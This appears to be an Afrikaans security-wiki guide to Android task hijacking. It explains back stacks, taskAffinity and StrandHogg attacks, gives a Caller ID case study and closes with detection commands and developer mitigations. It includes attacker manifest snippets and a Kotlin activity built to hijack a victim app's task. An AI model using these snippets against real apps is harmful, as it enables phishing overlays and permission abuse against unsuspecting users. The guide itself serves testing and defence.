Android Taak Hijacking

Reading time: 8 minutes

Taak, Terug Stapel en Voorgrond Aktiwiteite

In Android is 'n taak basies 'n stel aktiwiteite waarmee gebruikers interaksie het om 'n spesifieke werk te voltooi, georganiseer binne 'n terug stapel. Hierdie stapel orden aktiwiteite op grond van wanneer hulle geopen is, met die mees onlangse aktiwiteit wat boaan as die voorgrond aktiwiteit vertoon. Op enige oomblik is slegs hierdie aktiwiteit sigbaar op die skerm, wat dit deel van die voorgrond taak maak.

Hier is 'n vinnige opsomming van aktiwiteit oorgange:

• Aktiwiteit 1 begin as die enigste aktiwiteit in die voorgrond.
• Die bekendstelling van Aktiwiteit 2 druk Aktiwiteit 1 na die terug stapel, wat Aktiwiteit 2 na die voorgrond bring.
• Die begin van Aktiwiteit 3 skuif Aktiwiteit 1 en Aktiwiteit 2 verder terug in die stapel, met Aktiwiteit 3 nou voor.
• Die sluiting van Aktiwiteit 3 bring Aktiwiteit 2 terug na die voorgrond, wat Android se gestroomlynde taak navigasiemeganisme demonstreer.

Taak affiniteit aanvalle

taskAffinity vertel Android watter taak 'n Aktiwiteit verkies om aan te behoort. Wanneer twee aktiwiteite dieselfde affiniteit deel, is Android toegelaat om hulle binne dieselfde terug-stapel te meng, selfs al kom hulle van verskillende APK's.

As 'n aanvaller 'n kwaadwillige aktiwiteit aan die wortel van daardie stapel kan plaas, sal elke keer wanneer die slagoffer die wettige toepassing oopmaak, die kwaadwillige UI die eerste ding wees wat die gebruiker sien – perfek vir phishing of misbruik van toestemmingsversoeke.

Die aanval oppervlak is breër as wat baie ontwikkelaars dink omdat elke aktiwiteit outomaties 'n affiniteit erf gelyk aan die toepassingspakketnaam (tenzij die ontwikkelaar android:taskAffinity="" stel). Daarom doen niks reeds die app oop vir taak hijacking op Android weergawes voor 11.

Klassieke "singleTask / StrandHogg" scenario

1. Die aanvaller verklaar 'n aktiwiteit met:

<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>

2. Die kwaadwillige app word een keer begin sodat die taak (met die vervalste affiniteit) in onlangse take bestaan.
3. Wanneer die gebruiker later die werklike toepassing oopmaak, vind Android daar is reeds 'n taak waarvan die wortel affiniteit die pakket ooreenstem en bring net daardie taak na die voorgrond.
4. Die aanvaller se UI word eerste vertoon.

Standaard–Affiniteit (geen singleTask) variasie – Caller ID gevalstudie

Die kwesbaarheid wat in die Caller ID (caller.id.phone.number.block) toepassing gerapporteer is, toon dat die aanval ook teen die standaard standaard bekendstellingsmodus werk:

1. Aanvaller toepassing skep 'n vals wortel aktiwiteit en verberg onmiddellik:

class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true)   // hou die taak in onlangse maar uit sig
}
}

2. Die manifest hoef net die slagoffer pakket in taskAffinity te kopieer:

<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>

3. Sodra die gebruiker die kwaadwillige app een keer installeer en oopmaak, bestaan 'n taak waarvan die affiniteit gelyk is aan die slagoffer pakket (maar in die agtergrond sit).
4. Wanneer die werklike Caller ID toepassing bekendgestel word, hergebruik Android daardie taak en bring HackActivity na die voorgrond → phishing venster/toestemming misbruik.

LET WEL: Begin met Android 11 (API 30) plaas die stelsel nie twee pakkette wat nie deel van dieselfde UID is nie in dieselfde taak nie, wat hierdie spesifieke variasie verminder. Ouers weergawes bly kwesbaar.

StrandHogg 2.0 (CVE-2020-0096) – Refleksie-gebaseerde taak hijack

Google se Mei-2020 sekuriteitsbulletin het 'n meer gevorderde variasie genaamd StrandHogg 2.0 reggestel. Die uitbuiting hang glad nie van taskAffinity af nie; eerder gebruik dit refleksie om dinamies die aanvaller se aktiwiteit aan die bokant van elke lopende taak in te voeg, wat die “gedeelde-UID” beperking wat deur Android 11 bekendgestel is, heeltemal omseil.

Belangrike punte:

• 'n Kwaadwillige app met nul toestemming kan, sodra dit oopgemaak is, oor lopende take iterere en verborge API's aanroep om sy eie aktiwiteit in enige taak te her-ouer.
• Omdat die aktiwiteit na tyd van uitvoering ingevoeg word, kan geen launchMode of statiese manifestanalise die aanval vooraf opspoor nie.
• Gepatch deur 'n kontrole in Android 8.0/8.1/9 (Mei 2020 SPL) terug te port. Android 10 en later is nie geraak nie.

Opsporing op voor-gepatchte toestelle kan gedoen word met adb shell dumpsys activity activities en kyk vir verdagte aktiwiteite waarvan die pakketnaam verskil van die taak se affiniteit.

Mitigering vir erfenistoestelle is dieselfde as klassieke Taak Hijacking plus tyd van uitvoering verifikasie (bv. om ActivityManager#getRunningTasks aan te roep en jou eie pakketnaam te valideer).

Opsporing & Uitbuiting kontrolelys

1. Statische hersiening – Trek AndroidManifest.xml uit die teiken APK en kyk dat elke <activity> (of die globale <application> element) android:taskAffinity="" (leeg) of 'n aangepaste waarde bevat. Gereedskap soos:

# Gebruik apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity

# Gebruik AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity

2. Dinamiese hersiening – Op die toestel, open die teiken app en lys take:

adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"

'n Taak waarvan die wortel affiniteit gelyk is aan die slagoffer pakket maar waarvan die boonste aktiwiteit aan 'n ander pakket behoort, is 'n rooi vlag. 3. Skep 'n kwaadwillige app soos hierbo beskryf, of gebruik Drozer:

drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim

Mitigering

Ontwikkelaars moet:

• Duidelik android:taskAffinity="" op die <application> vlak stel (aanbeveel) of elke aktiwiteit 'n unieke, private affiniteit gee.
• Vir hoogs sensitiewe skerms, kombineer die bogenoemde met android:launchMode="singleInstance" of moderne setLaunchMode beskermings.
• Opgradeer die app se targetSdkVersion en handhaaf Android 11 gedragsveranderinge waar take nie standaard oor pakkette gedeel word nie.
• Teiken Android 12 (API 31) of hoër sodat die verpligte android:exported attribuut ontwikkelaars dwing om elke eksterne bereikbare komponent te oudit.
• Oorweeg tyd van uitvoering self-verdediging: periodiek vra ActivityTaskManager om te verseker dat jou boonste aktiwiteit se pakket jou eie ooreenstem.

Verwante UI-Hijacking tegnieke

Taak hijacking word dikwels gekombineer met of vervang deur tapjacking (overlay-gebaseerde UI misleiding). Die 2025 TapTrap navorsing het getoon dat heeltemal deursigtige animasie-gedrewe aktiwiteite die overlay-aanraak beperkings wat in Android 12–14 bekendgestel is, kan omseil en steeds gebruikers kan mislei om gevaarlike toestemmings te verleen. Terwyl TapTrap nie streng taak hijacking is nie, is die einddoel (phishing klik) identies – so moderne assesserings moet vir beide aanval oppervlaktes kyk.

Verwysings

• https://blog.dixitaditya.com/android-task-hijacking/
• https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html
• Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app
• https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06
• Promon – StrandHogg 2.0 (CVE-2020-0096) technical write-up
• USENIX 2025 – TapTrap: Animation-Driven Tapjacking on Android